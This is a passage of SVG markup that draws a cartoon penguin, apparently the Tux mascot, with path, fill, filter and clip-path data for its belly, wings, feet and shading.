d="m 106.95,0 c -6,0 -12.02,1.18 -17.46,4.12 -5.78,3.11 -10.52,8.09 -13.43,13.97 -2.92,5.88 -4.06,12.16 -4.24,19.08 -0.33,13.14 0.3,26.92 1.29,39.41 0.26,3.8 0.74,6.02 0.25,9.93 -1.62,8.3 -8.88,13.88 -12.76,21.17 -4.27,8.04 -6.07,17.13 -9.29,25.65 -2.95,7.79 -7.09,15.1 -9.88,22.95 -3.91,10.97 -5.08,23.03 -2.5,34.39 1.97,8.66 6.08,16.78 11.62,23.73 -0.8,1.44 -1.58,2.91 -2.4,4.34 -2.57,4.43 -5.71,8.64 -7.17,13.55 -0.73,2.45 -1.02,5.07 -0.55,7.59 0.47,2.52 1.75,4.93 3.75,6.53 1.31,1.04 2.9,1.72 4.53,2.1 1.63,0.37 3.32,0.46 5,0.43 6.37,-0.14 12.55,-2.07 18.71,-3.69 3.66,-0.96 7.34,-1.81 11.03,-2.58 13.14,-2.69 27.8,-1.61 39.99,0.15 4.13,0.63 8.23,1.44 12.29,2.43 6.36,1.54 12.69,3.5 19.23,3.69 1.72,0.05 3.46,-0.03 5.14,-0.4 1.68,-0.38 3.31,-1.06 4.65,-2.13 2.01,-1.6 3.29,-4.02 3.76,-6.54 0.47,-2.52 0.18,-5.15 -0.56,-7.61 -1.48,-4.92 -4.65,-9.11 -7.27,-13.52 -1.04,-1.75 -2,-3.53 -3.03,-5.28 7.9,-8.87 14.26,-19.13 17.94,-30.4 4.01,-12.3 4.75,-25.55 3.06,-38.38 -1.69,-12.83 -5.76,-25.27 -11.11,-37.05 -6.72,-14.76 -12.37,-20.1 -16.47,-33.07 -4.42,-14.02 -0.77,-30.61 -4.06,-43.32 -1.17,-4.32 -3.04,-8.45 -5.45,-12.23 -2.82,-4.43 -6.4,-8.39 -10.65,-11.47 -6.78,-4.92 -15.3,-7.54 -23.96,-7.54 z"/>
|
||||
<path id="belly" fill="#fdfdfb"
|
||||
d="m 83.13,74 c -0.9,1.13 -1.48,2.49 -1.84,3.89 -0.35,1.4 -0.48,2.85 -0.54,4.3 -0.11,2.89 0.07,5.83 -0.7,8.62 -0.82,2.98 -2.65,5.57 -4.44,8.08 -3.11,4.36 -6.25,8.84 -7.78,13.97 -0.93,3.1 -1.24,6.39 -0.91,9.62 -3.47,5.1 -6.48,10.53 -8.98,16.18 -3.78,8.57 -6.37,17.69 -7.28,27.01 -1.12,11.41 0.34,23.15 4.85,33.69 3.25,7.63 8.11,14.6 14.38,20.04 3.18,2.76 6.72,5.11 10.5,6.97 13.11,6.45 29.31,6.46 42.2,-0.41 6.74,-3.59 12.43,-8.84 17.91,-14.15 3.3,-3.2 6.59,-6.48 9.11,-10.32 4.85,-7.41 6.54,-16.41 7.59,-25.2 1.83,-15.36 1.89,-31.6 -4.85,-45.53 -2.32,-4.8 -5.41,-9.22 -9.12,-13.05 -0.98,-6.7 -2.93,-13.27 -5.76,-19.42 -2.05,-4.45 -4.54,-8.68 -6.44,-13.18 -0.78,-1.85 -1.46,-3.75 -2.32,-5.56 -0.87,-1.81 -1.93,-3.55 -3.39,-4.94 -1.48,-1.42 -3.33,-2.43 -5.28,-3.07 -1.95,-0.65 -4.01,-0.94 -6.06,-1.04 -4.11,-0.21 -8.22,0.33 -12.33,0.16 -3.27,-0.13 -6.53,-0.7 -9.8,-0.51 -1.63,0.1 -3.26,0.39 -4.78,1.01 -1.52,0.61 -2.92,1.56 -3.94,2.84 z"/>
|
||||
<g id="body_self_shadows">
|
||||
<path id="belly_shadow_left" opacity="0.25" fill="url(#fill_belly_shadow_left)" filter="url(#blur_belly_shadow_left)" clip-path="url(#clip_body)"
|
||||
d="m 68.67,115.18 c 0.87,1.31 -0.55,5.84 19.86,2.94 0,0 -3.59,0.39 -7.12,1.21 -5.49,1.84 -10.27,3.89 -13.97,6.61 -3.65,2.7 -6.33,6.21 -9.68,9.22 0,0 5.43,-9.92 6.78,-12.91 1.36,-2.99 -0.22,-2.85 0.85,-7.25 1.07,-4.4 3.69,-8.63 3.69,-8.63 0,0 -2.14,6.22 -0.41,8.81 z"/>
|
||||
<path id="belly_shadow_right" opacity="0.42" fill="url(#fill_belly_shadow_right)" filter="url(#blur_belly_shadow_right)" clip-path="url(#clip_body)"
|
||||
d="m 134.28,113.99 c -4.16,2.9 -6.6,2.56 -11.64,3.12 -5.05,0.57 -18.7,0.36 -18.7,0.36 0,0 1.97,-0.03 6.36,0.78 4.38,0.82 13.31,1.6 18.34,3.51 5.04,1.92 6.87,2.47 9.93,4.4 4.35,2.75 7.55,7.06 11.71,10.08 0,0 0.2,-4 -1.48,-6.99 -1.68,-2.99 -6.2,-7.7 -7.53,-12.1 -1.32,-4.4 -1.96,-13.04 -1.96,-13.04 0,0 -0.88,6.99 -5.03,9.88 z"/>
|
||||
<path id="belly_shadow_middle" opacity="0.2" fill="url(#fill_belly_shadow_middle)" filter="url(#blur_belly_shadow_middle)" clip-path="url(#clip_body)"
|
||||
d="m 95.17,107.81 c -0.16,1.25 -0.36,2.5 -0.6,3.74 -0.12,0.61 -0.26,1.22 -0.48,1.8 -0.23,0.58 -0.56,1.14 -1.02,1.55 -0.41,0.37 -0.9,0.62 -1.4,0.85 -1.94,0.88 -4.01,1.47 -6.12,1.74 0.84,0.06 1.68,0.14 2.53,0.23 0.53,0.06 1.06,0.12 1.57,0.25 0.52,0.14 1.03,0.34 1.46,0.65 0.47,0.35 0.84,0.82 1.12,1.34 0.55,1.02 0.73,2.2 0.83,3.37 0.13,1.48 0.14,2.98 0.03,4.46 0.1,-0.99 0.31,-1.98 0.62,-2.92 0.57,-1.72 1.47,-3.32 2.69,-4.65 0.49,-0.52 1.02,-1.01 1.6,-1.42 1.79,-1.26 4.07,-1.81 6.24,-1.51 -2.21,0.09 -4.44,-0.6 -6.2,-1.93 -0.9,-0.68 -1.68,-1.52 -2.22,-2.5 -0.84,-1.52 -1.08,-3.37 -0.65,-5.05 z"/>
|
||||
<path id="belly_shadow_lower" opacity="0.11" fill="#000000" filter="url(#blur_belly_shadow_lower)" clip-path="url(#clip_body)"
|
||||
d="m 89.85,137.14 c -1.06,4.03 -1.79,8.15 -2.17,12.31 -0.55,5.87 -0.42,11.78 -0.74,17.67 -0.26,4.99 -0.85,10.04 0.02,14.97 0.41,2.35 1.15,4.64 2.2,6.78 0.16,-0.82 0.29,-1.64 0.36,-2.47 0.37,-4 -0.3,-8.01 -0.53,-12.01 -0.4,-7.02 0.57,-14.04 0.97,-21.06 0.3,-5.39 0.27,-10.8 -0.11,-16.19 z"/>
|
||||
</g>
|
||||
<g id="body_glare">
|
||||
<path id="belly_glare" opacity="0.75" fill="#7c7c7c" filter="url(#blur_belly_glare)" clip-path="url(#clip_body)"
|
||||
d="m 160.08,131.23 c 1.03,-0.16 7.34,5.21 6.48,7.21 -0.86,1.99 -2.49,0.79 -3.65,0.8 -1.16,0.02 -4.33,1.46 -4.86,0.55 -0.54,-0.91 1.4,-3.03 2.41,-4.81 0.82,-1.43 -1.4,-3.59 -0.38,-3.75 z"/>
|
||||
<path id="head_glare" fill="#7c7c7c" filter="url(#blur_head_glare)" clip-path="url(#clip_body)"
|
||||
d="m 121.52,11.12 c -2.21,1.56 -1.25,3.51 -0.3,5.46 0.95,1.96 -2.09,7.59 -2.12,7.83 -0.03,0.24 5.98,-2.85 7.62,-4.87 1.94,-2.37 6.83,3.22 6.56,2.37 0.01,-1.52 -9.55,-12.34 -11.76,-10.79 z"/>
|
||||
<path id="neck_glare" fill="#838384" filter="url(#blur_neck_glare)" clip-path="url(#clip_body)"
|
||||
d="m 138.27,76.63 c -1.86,1.7 0.88,4.25 2.17,7.24 0.81,1.86 3.04,4.49 5.2,4.07 1.63,-0.32 2.63,-2.66 2.48,-4.3 -0.3,-3.18 -2.98,-3.93 -4.93,-5.02 -1.54,-0.86 -3.61,-3.18 -4.92,-1.99 z"/>
|
||||
</g>
|
||||
</g>
|
||||
<g id="wings">
|
||||
<g id="wing_left">
|
||||
<path id="wing_left_base" fill="#020204"
|
||||
d="m 63.98,100.91 c -6.1,6.92 -12.37,13.63 -15.81,21.12 -1.71,3.8 -2.51,7.93 -3.68,11.93 -1.32,4.54 -3.12,8.94 -5.14,13.22 -1.87,3.95 -3.93,7.81 -5.98,11.66 -1.5,2.81 -3.02,5.67 -3.54,8.81 -0.41,2.48 -0.18,5.04 0.46,7.47 0.63,2.43 1.64,4.75 2.79,6.98 4.88,9.55 12.21,17.77 20.89,24.07 3.94,2.85 8.15,5.32 12.58,7.35 2.4,1.09 4.92,2.07 7.56,2.11 1.32,0.03 2.65,-0.19 3.86,-0.72 1.2,-0.53 2.28,-1.38 3,-2.49 0.88,-1.36 1.18,-3.05 1,-4.66 -0.18,-1.61 -0.81,-3.15 -1.65,-4.53 -2.06,-3.38 -5.31,-5.83 -8.44,-8.25 -6.76,-5.23 -13.29,-10.76 -19.55,-16.58 -1.76,-1.65 -3.53,-3.34 -4.76,-5.42 -1.2,-2.02 -1.85,-4.32 -2.29,-6.63 -1.21,-6.33 -0.9,-12.99 1.25,-19.07 0.85,-2.38 1.96,-4.65 3.04,-6.93 1.86,-3.95 3.62,-7.98 6.07,-11.6 3.05,-4.51 7.13,-8.33 9.61,-13.17 2.1,-4.09 2.95,-8.68 3.76,-13.2 0.64,-3.54 1.85,-7 2.47,-10.54 -1.21,2.3 -5.11,6.07 -7.5,9.07 z"/>
|
||||
<path id="wing_left_glare" opacity="0.95" fill="#7c7c7c" filter="url(#blur_wing_left_glare)" clip-path="url(#clip_wing_left)"
|
||||
d="m 56.96,126.1 c -2,1.84 -3.73,3.97 -5.13,6.31 -2.3,3.84 -3.65,8.16 -5.33,12.31 -1.24,3.09 -2.69,6.2 -2.86,9.53 -0.09,1.71 0.16,3.42 0.22,5.13 0.06,1.71 -0.1,3.49 -0.94,4.98 -0.7,1.25 -1.87,2.23 -3.22,2.71 1.83,0.61 3.45,1.79 4.6,3.33 0.96,1.3 1.58,2.81 2.41,4.18 0.68,1.12 1.51,2.16 2.54,2.97 1.02,0.82 2.25,1.4 3.54,1.56 1.79,0.23 3.65,-0.36 4.97,-1.58 -1.66,-15.55 -0.14,-31.42 4.44,-46.37 0.29,-0.94 0.59,-1.89 0.67,-2.87 0.07,-0.99 -0.12,-2.03 -0.72,-2.81 -0.31,-0.42 -0.74,-0.75 -1.23,-0.96 -0.48,-0.2 -1.02,-0.28 -1.54,-0.21 -0.52,0.06 -1.03,0.26 -1.45,0.57 -0.42,0.32 -0.76,0.74 -0.97,1.22 z"/>
|
||||
</g>
|
||||
<g id="wing_right">
|
||||
<path id="wing_right_base" fill="#020204"
|
||||
d="m 162.76,127.12 c 5.24,4.22 8.57,10.59 9.6,17.24 0.8,5.18 0.28,10.51 -0.89,15.62 -1.17,5.12 -2.97,10.06 -4.77,15 -0.71,1.96 -1.43,3.95 -1.71,6.02 -0.29,2.08 -0.11,4.27 0.89,6.11 1.15,2.11 3.29,3.56 5.59,4.24 2.27,0.68 4.72,0.66 7.02,0.09 2.3,-0.57 6.17,-1.31 8.04,-2.77 4.75,-3.69 5.88,-10.1 7.01,-15.72 1.17,-5.87 0.6,-12.02 -0.43,-17.95 -1.41,-8.09 -3.78,-15.99 -6.79,-23.62 -2.22,-5.62 -5.06,-10.98 -8.44,-15.96 -3.32,-4.89 -8.02,-8.7 -11.5,-13.48 -1.21,-1.66 -2.66,-3.38 -3.84,-5.06 -2.56,-3.62 -1.98,-2.94 -3.57,-5.29 -1.15,-1.7 -2.97,-2.28 -4.88,-3.02 -1.92,-0.74 -4.06,-0.96 -6.04,-0.41 -2.6,0.73 -4.73,2.79 -5.86,5.24 -1.13,2.46 -1.33,5.28 -0.89,7.95 0.57,3.44 2.14,6.64 3.92,9.64 2,3.39 4.32,6.66 7.35,9.18 3.16,2.63 6.98,4.37 10.19,6.95 z"/>
|
||||
<path id="wing_right_glare" fill="#838384" filter="url(#blur_wing_right_glare)" clip-path="url(#clip_wing_right)"
|
||||
d="m 150.42,118.99 c 0.42,0.4 0.86,0.81 1.31,1.19 3.22,2.63 4.93,5.58 8.2,8.16 5.34,4.22 10.75,11.5 11.8,18.15 0.82,5.19 -0.26,8.01 -1.58,14.12 -1.32,6.12 -5.06,14.78 -7.09,20.68 -0.8,2.35 1.64,1.38 1.32,3.86 -0.16,1.22 -0.18,2.45 -0.03,3.67 0.02,-0.23 0.03,-0.48 0.06,-0.71 0.39,-3.38 1.42,-6.63 2.55,-9.82 2.17,-6.13 4.66,-12.15 6.38,-18.45 1.72,-6.29 1.53,-10.82 0.63,-16.23 -1.13,-6.81 -5.09,-13.09 -10.69,-17.24 -3.97,-2.93 -8.64,-4.81 -12.86,-7.38 z"/>
|
||||
</g>
|
||||
</g>
|
||||
<g id="feet">
|
||||
<g id="foot_left">
|
||||
<path id="foot_left_base" fill="url(#fill_foot_left_base)"
|
||||
d="m 34.98,175.33 c 1.38,-0.57 2.93,-0.68 4.39,-0.41 1.47,0.27 2.86,0.91 4.09,1.74 2.47,1.68 4.3,4.12 6.05,6.54 4.03,5.54 7.9,11.2 11.42,17.08 2.85,4.78 5.46,9.71 8.76,14.18 2.15,2.93 4.57,5.64 6.73,8.55 2.16,2.92 4.07,6.08 5.03,9.58 1.25,4.55 0.76,9.56 -1.4,13.75 -1.52,2.95 -3.86,5.48 -6.7,7.19 -2.84,1.71 -5.83,2.47 -9.15,2.47 -5.27,0 -10.42,-2.83 -15.32,-4.78 -9.98,-3.98 -20.82,-5.22 -31.11,-8.32 -3.16,-0.95 -6.27,-2.08 -9.45,-2.95 -1.42,-0.39 -2.85,-0.73 -4.19,-1.34 -1.34,-0.6 -2.59,-1.51 -3.33,-2.77 -0.57,-0.98 -0.8,-2.13 -0.8,-3.26 0,-1.14 0.28,-2.26 0.67,-3.32 0.77,-2.13 2.02,-4.06 2.86,-6.17 1.37,-3.44 1.62,-7.23 1.43,-10.93 -0.18,-3.69 -0.78,-7.36 -1.03,-11.05 -0.12,-1.65 -0.16,-3.32 0.16,-4.95 0.31,-1.62 1.01,-3.21 2.2,-4.35 1.1,-1.06 2.55,-1.69 4.05,-2 1.49,-0.31 3.03,-0.32 4.55,-0.29 1.52,0.03 3.05,0.12 4.57,-0.01 1.52,-0.12 3.05,-0.46 4.37,-1.22 1.26,-0.72 2.29,-1.79 3.14,-2.96 0.85,-1.17 1.54,-2.45 2.25,-3.72 0.7,-1.26 1.43,-2.52 2.36,-3.64 0.92,-1.12 2.06,-2.09 3.4,-2.64 z"/>
|
||||
<path id="foot_left_layer_1" fill="#d99a03" filter="url(#blur_foot_left_layer_1)" clip-path="url(#clip_foot_left)"
|
||||
d="m 37.16,177.7 c 1.25,-0.5 2.67,-0.56 3.98,-0.26 1.32,0.3 2.55,0.94 3.61,1.77 2.14,1.65 3.62,3.97 5.05,6.26 3.42,5.54 6.76,11.15 9.92,16.86 2.4,4.31 4.68,8.7 7.62,12.65 1.95,2.62 4.18,5.03 6.17,7.62 1.99,2.59 3.76,5.41 4.64,8.56 1.14,4.05 0.68,8.54 -1.28,12.26 -1.42,2.68 -3.58,4.96 -6.2,6.48 -2.61,1.52 -5.67,2.28 -8.69,2.14 -4.82,-0.22 -9.23,-2.63 -13.77,-4.26 -8.71,-3.16 -18.14,-3.59 -27.08,-6.05 -3.2,-0.87 -6.32,-2.03 -9.53,-2.84 -1.43,-0.36 -2.88,-0.66 -4.23,-1.23 -1.35,-0.57 -2.62,-1.45 -3.36,-2.72 -0.54,-0.95 -0.76,-2.06 -0.73,-3.15 0.04,-1.09 0.31,-2.17 0.7,-3.19 0.78,-2.04 2,-3.88 2.78,-5.92 1.19,-3.08 1.34,-6.47 1.12,-9.76 -0.22,-3.29 -0.8,-6.56 -1,-9.85 -0.08,-1.48 -0.1,-2.97 0.2,-4.41 0.3,-1.45 0.93,-2.85 1.98,-3.89 1.14,-1.13 2.7,-1.74 4.29,-1.99 1.58,-0.24 3.19,-0.13 4.78,0.01 1.6,0.14 3.2,0.32 4.8,0.23 1.6,-0.1 3.22,-0.49 4.54,-1.39 1.2,-0.81 2.1,-2 2.79,-3.27 0.69,-1.27 1.18,-2.64 1.71,-3.98 0.52,-1.35 1.09,-2.69 1.91,-3.89 0.82,-1.19 1.93,-2.24 3.28,-2.79 z"/>
|
||||
<path id="foot_left_layer_2" fill="#f5bd0c" filter="url(#blur_foot_left_layer_2)" clip-path="url(#clip_foot_left)"
|
||||
d="m 35.99,174.57 c 1.22,-0.6 2.65,-0.72 3.98,-0.45 1.33,0.27 2.57,0.92 3.62,1.77 2.09,1.7 3.43,4.13 4.67,6.51 2.84,5.46 5.5,11.04 8.9,16.19 2.48,3.73 5.33,7.2 7.83,10.92 3.39,5.03 6.15,10.57 7.29,16.5 0.76,4 0.74,8.31 -1.18,11.9 -1.27,2.37 -3.32,4.31 -5.75,5.52 -2.42,1.22 -5.21,1.71 -7.92,1.47 -4.27,-0.37 -8.14,-2.47 -12.16,-3.94 -7.13,-2.59 -14.84,-3.22 -22.18,-5.18 -3.09,-0.82 -6.13,-1.89 -9.26,-2.54 -1.39,-0.29 -2.8,-0.5 -4.12,-1 -1.32,-0.5 -2.57,-1.33 -3.25,-2.55 -0.47,-0.86 -0.63,-1.86 -0.56,-2.84 0.07,-0.97 0.36,-1.92 0.74,-2.83 0.77,-1.8 1.9,-3.46 2.49,-5.32 0.88,-2.75 0.52,-5.72 -0.14,-8.53 -0.65,-2.8 -1.6,-5.55 -1.89,-8.41 -0.13,-1.27 -0.13,-2.57 0.17,-3.82 0.29,-1.25 0.88,-2.45 1.81,-3.34 1.2,-1.15 2.88,-1.73 4.56,-1.89 1.67,-0.16 3.35,0.06 5.01,0.3 1.66,0.24 3.34,0.5 5.01,0.42 1.68,-0.07 3.39,-0.51 4.7,-1.54 1.3,-1.02 2.12,-2.53 2.59,-4.09 0.47,-1.57 0.62,-3.2 0.81,-4.82 0.19,-1.62 0.43,-3.26 1.06,-4.77 0.63,-1.51 1.69,-2.9 3.17,-3.64 z"/>
|
||||
<path id="foot_left_glare" fill="url(#fill_foot_left_glare)" filter="url(#blur_foot_left_glare)" clip-path="url(#clip_foot_left)"
|
||||
d="m 51.2,188.21 c 2.25,4.06 3.62,8.72 5.85,12.82 2.05,3.77 4.38,7.65 6.46,11.12 0.93,1.55 3.09,3.93 5.27,7.62 1.98,3.34 3.98,8.01 5.1,9.58 -0.64,-1.84 -1.96,-6.77 -3.54,-10.28 -1.47,-3.28 -3.19,-5.15 -4.24,-6.92 -2.08,-3.47 -4.33,-6.6 -6.47,-9.91 -2.95,-4.57 -5.2,-9.68 -8.43,-14.03 z"/>
|
||||
</g>
|
||||
<g id="foot_right">
|
||||
<path id="foot_right_shadow" opacity="0.2" fill="url(#fill_foot_right_shadow)" filter="url(#blur_foot_right_shadow)" clip-path="url(#clip_body)"
|
||||
d="m 198.7,215.61 c -0.4,1.33 -1.02,2.62 -1.81,3.8 -1.75,2.59 -4.3,4.55 -6.84,6.35 -4.33,3.07 -8.85,5.89 -12.89,9.38 -2.7,2.34 -5.17,4.97 -7.45,7.73 -1.95,2.36 -3.79,4.84 -6.02,6.94 -2.25,2.12 -4.89,3.84 -7.74,4.77 -3.47,1.13 -7.13,1.08 -10.47,0.22 -2.34,-0.6 -4.63,-1.64 -6.08,-3.53 -1.45,-1.89 -1.92,-4.44 -2.09,-6.94 -0.3,-4.42 0.23,-8.93 0.71,-13.42 0.4,-3.73 0.77,-7.46 0.92,-11.18 0.27,-6.77 -0.18,-13.47 -1.09,-20.05 -0.16,-1.11 -0.32,-2.22 -0.23,-3.35 0.09,-1.14 0.47,-2.32 1.27,-3.2 0.74,-0.81 1.77,-1.29 2.79,-1.52 1.02,-0.24 2.06,-0.25 3.09,-0.28 2.43,-0.06 4.86,-0.21 7.25,0.01 1.51,0.13 2.99,0.41 4.49,0.55 2.51,0.24 5.12,0.12 7.64,-0.62 2.71,-0.8 5.29,-2.29 8.05,-2.7 1.13,-0.17 2.26,-0.15 3.36,0.01 1.12,0.15 2.24,0.46 3.1,1.15 0.66,0.52 1.14,1.23 1.51,1.99 0.56,1.14 0.9,2.39 1.1,3.68 0.17,1.14 0.24,2.31 0.53,3.41 0.48,1.81 1.58,3.35 2.89,4.6 1.32,1.25 2.85,2.24 4.39,3.22 1.53,0.97 3.07,1.93 4.7,2.73 0.77,0.38 1.56,0.72 2.29,1.15 0.74,0.44 1.42,0.97 1.91,1.67 0.66,0.95 0.92,2.2 0.72,3.43 z"/>
|
||||
<path id="foot_right_base" fill="url(#fill_foot_right_base)"
|
||||
d="m 213.47,222.92 c -2.26,2.68 -5.4,4.45 -8.53,6.05 -5.33,2.71 -10.86,5.1 -15.87,8.37 -3.36,2.19 -6.46,4.76 -9.36,7.53 -2.48,2.37 -4.83,4.9 -7.61,6.91 -2.81,2.03 -6.05,3.5 -9.48,4.01 -0.95,0.14 -1.9,0.21 -2.86,0.21 -3.24,0 -6.48,-0.78 -9.46,-2.08 -2.7,-1.17 -5.3,-2.86 -6.86,-5.36 -1.56,-2.52 -1.92,-5.59 -1.92,-8.56 -0.01,-5.23 0.96,-10.41 1.87,-15.57 0.76,-4.29 1.48,-8.58 1.95,-12.91 0.85,-7.86 0.84,-15.81 0.28,-23.71 -0.1,-1.32 -0.21,-2.65 -0.01,-3.96 0.2,-1.31 0.74,-2.62 1.74,-3.48 0.93,-0.8 2.17,-1.16 3.4,-1.22 1.22,-0.07 2.44,0.12 3.65,0.3 2.85,0.42 5.73,0.74 8.52,1.48 1.76,0.46 3.48,1.08 5.23,1.56 2.94,0.79 6.01,1.17 9.02,0.82 3.25,-0.38 6.41,-1.6 9.68,-1.52 1.34,0.03 2.67,0.28 3.95,0.69 1.3,0.41 2.59,1 3.55,1.98 0.73,0.74 1.24,1.67 1.62,2.64 0.57,1.44 0.88,2.98 1.01,4.52 0.11,1.37 0.09,2.76 0.35,4.11 0.43,2.21 1.6,4.24 3.04,5.97 1.45,1.74 3.18,3.21 4.91,4.66 1.73,1.45 3.46,2.89 5.32,4.16 0.87,0.6 1.77,1.16 2.6,1.81 0.83,0.66 1.59,1.42 2.11,2.34 0.45,0.81 0.69,1.72 0.69,2.65 0,0.52 -0.07,1.04 -0.23,1.56 -0.45,1.43 -1.28,2.82 -2.3,4.04 z"/>
|
||||
<path id="foot_right_layer_1" fill="#cd8907" filter="url(#blur_foot_right_layer_1)" clip-path="url(#clip_foot_right)"
|
||||
d="m 213.21,216.12 c -0.53,1.33 -1.28,2.58 -2.22,3.67 -2.07,2.42 -4.93,4.01 -7.78,5.44 -4.88,2.44 -9.92,4.58 -14.5,7.52 -3.06,1.97 -5.9,4.28 -8.55,6.78 -2.26,2.13 -4.41,4.41 -6.95,6.21 -2.57,1.83 -5.53,3.14 -8.65,3.6 -3.8,0.56 -7.72,-0.16 -11.25,-1.67 -2.46,-1.06 -4.84,-2.56 -6.27,-4.83 -1.42,-2.26 -1.75,-5.02 -1.75,-7.69 -0.02,-4.71 0.87,-9.37 1.71,-14 0.7,-3.85 1.36,-7.71 1.78,-11.6 0.76,-7.08 0.73,-14.22 0.25,-21.32 -0.08,-1.19 -0.17,-2.39 0.01,-3.57 0.18,-1.18 0.67,-2.35 1.57,-3.13 0.85,-0.73 1.99,-1.05 3.11,-1.1 1.11,-0.06 2.22,0.12 3.33,0.28 2.61,0.38 5.23,0.67 7.78,1.33 1.61,0.42 3.18,0.98 4.78,1.4 2.68,0.72 5.49,1.06 8.24,0.74 2.97,-0.34 5.85,-1.44 8.83,-1.37 1.23,0.03 2.44,0.26 3.61,0.62 1.19,0.37 2.37,0.9 3.25,1.78 0.66,0.67 1.11,1.51 1.48,2.38 0.53,1.29 0.89,2.67 0.91,4.07 0.03,1.46 -0.28,2.92 -0.09,4.37 0.16,1.17 0.66,2.28 1.3,3.28 0.63,1 1.4,1.91 2.17,2.81 1.48,1.75 2.96,3.53 4.82,4.87 2.11,1.53 4.62,2.43 6.8,3.85 0.65,0.43 1.28,0.91 1.74,1.54 0.78,1.06 0.98,2.5 0.54,3.74 z"/>
|
||||
<path id="foot_right_layer_2" fill="#f5c021" filter="url(#blur_foot_right_layer_2)" clip-path="url(#clip_foot_right)"
|
||||
d="m 212.91,214.61 c -0.6,1.35 -1.37,2.6 -2.28,3.71 -2.12,2.58 -4.99,4.35 -8,5.49 -4.97,1.88 -10.39,2.13 -15.26,4.27 -2.97,1.3 -5.65,3.26 -8.36,5.12 -2.18,1.49 -4.42,2.94 -6.82,3.98 -2.72,1.19 -5.6,1.85 -8.5,2.32 -1.84,0.29 -3.71,0.51 -5.57,0.41 -1.86,-0.1 -3.72,-0.54 -5.37,-1.49 -1.24,-0.72 -2.36,-1.75 -3.03,-3.1 -0.73,-1.49 -0.86,-3.24 -0.85,-4.94 0.05,-4.5 1.02,-8.96 0.99,-13.47 -0.03,-3.93 -0.81,-7.8 -1.03,-11.72 -0.43,-7.54 1.19,-15.2 -0.24,-22.59 -0.22,-1.19 -0.53,-2.37 -0.52,-3.58 0.01,-0.6 0.1,-1.21 0.31,-1.77 0.22,-0.55 0.56,-1.06 1.01,-1.42 0.39,-0.29 0.84,-0.47 1.31,-0.56 0.46,-0.08 0.94,-0.06 1.41,0.01 0.93,0.15 1.82,0.51 2.73,0.78 2.6,0.78 5.35,0.76 8,1.35 1.66,0.36 3.26,0.97 4.91,1.41 2.75,0.76 5.63,1.08 8.46,0.75 3.04,-0.36 6.01,-1.46 9.07,-1.38 1.26,0.03 2.5,0.26 3.71,0.62 1.21,0.36 2.42,0.87 3.34,1.8 0.65,0.67 1.13,1.52 1.51,2.4 0.57,1.29 0.96,2.69 0.95,4.11 -0.01,0.74 -0.12,1.47 -0.19,2.21 -0.06,0.74 -0.08,1.49 0.09,2.2 0.18,0.72 0.55,1.37 0.97,1.96 0.42,0.59 0.9,1.12 1.34,1.7 1.22,1.61 2.1,3.49 3.05,5.3 0.95,1.81 2.02,3.6 3.53,4.91 2.05,1.77 4.7,2.48 6.99,3.89 0.67,0.41 1.31,0.89 1.78,1.55 0.38,0.52 0.63,1.15 0.73,1.81 0.09,0.65 0.03,1.34 -0.17,1.96 z"/>
|
||||
<path id="foot_right_glare" fill="url(#fill_foot_right_glare)" filter="url(#blur_foot_right_glare)" clip-path="url(#clip_foot_right)"
|
||||
d="m 148.08,181.58 c 2.82,-0.76 5.22,1.38 7.27,2.99 1.32,1.13 3.24,0.85 4.86,0.9 2.69,-0.09 5.36,0.45 8.05,0.12 5.3,-0.45 10.49,-1.75 15.81,-1.97 2.54,-0.16 5.4,-0.31 7.59,1.17 0.89,0.62 2.2,3.23 3.07,2.25 -0.36,-2.74 -2.39,-5.39 -5.11,-6.12 -2.14,-0.34 -4.3,0.25 -6.46,0.06 -6.39,-0.15 -12.75,-1.34 -19.16,-1 -4.46,0.04 -8.91,-0.17 -13.37,-0.34 -1.75,-0.36 -2.37,1.19 -3.32,1.79 0.25,0.19 0.34,0.25 0.77,0.15 z"/>
|
||||
</g>
|
||||
</g>
|
||||
<g id="wing_tip_right">
|
||||
<g id="wing_tip_right_shadow">
|
||||
<path id="wing_tip_right_shadow_lower" opacity="0.35" fill="url(#fill_wing_tip_right_shadow_lower)" filter="url(#blur_wing_tip_right_shadow_lower)" clip-path="url(#clip_foot_right)"
|
||||
d="m 185.49,187.61 c -0.48,-0.95 -1.36,-1.66 -2.35,-2.07 -0.98,-0.41 -2.06,-0.55 -3.13,-0.54 -2.13,0.02 -4.25,0.57 -6.38,0.39 -1.79,-0.16 -3.49,-0.83 -5.24,-1.26 -1.81,-0.44 -3.73,-0.61 -5.52,-0.12 -1.92,0.52 -3.61,1.81 -4.67,3.49 -0.94,1.48 -1.38,3.23 -1.52,4.98 -0.14,1.75 0.01,3.5 0.19,5.25 0.12,1.26 0.27,2.52 0.57,3.75 0.31,1.23 0.78,2.43 1.52,3.46 1.07,1.48 2.66,2.54 4.37,3.17 2.8,1.03 5.98,0.98 8.73,-0.15 4.88,-2.12 9.01,-5.92 11.52,-10.6 0.91,-1.68 1.61,-3.47 2.06,-5.31 0.18,-0.74 0.32,-1.49 0.32,-2.25 0.01,-0.75 -0.12,-1.52 -0.47,-2.19 z"/>
|
||||
<path id="wing_tip_right_shadow_upper" opacity="0.35" fill="url(#fill_wing_tip_right_shadow_upper)" filter="url(#blur_wing_tip_right_shadow_upper)" clip-path="url(#clip_foot_right)"
|
||||
d="m 185.49,184.89 c -0.48,-0.69 -1.36,-1.2 -2.35,-1.5 -0.98,-0.3 -2.06,-0.39 -3.13,-0.39 -2.13,0.02 -4.25,0.42 -6.38,0.28 -1.79,-0.11 -3.49,-0.6 -5.24,-0.9 -1.81,-0.32 -3.73,-0.45 -5.52,-0.09 -1.92,0.37 -3.61,1.3 -4.67,2.52 -0.94,1.07 -1.38,2.34 -1.52,3.6 -0.14,1.26 0.01,2.53 0.19,3.79 0.12,0.91 0.27,1.83 0.57,2.72 0.31,0.89 0.78,1.76 1.52,2.5 1.07,1.07 2.66,1.83 4.37,2.29 2.8,0.75 5.98,0.71 8.73,-0.11 4.88,-1.53 9.01,-4.28 11.52,-7.66 0.91,-1.22 1.61,-2.51 2.06,-3.84 0.18,-0.54 0.32,-1.08 0.32,-1.62 0.01,-0.55 -0.12,-1.11 -0.47,-1.59 z"/>
|
||||
</g>
|
||||
<path id="wing_tip_right_base" fill="#020204"
|
||||
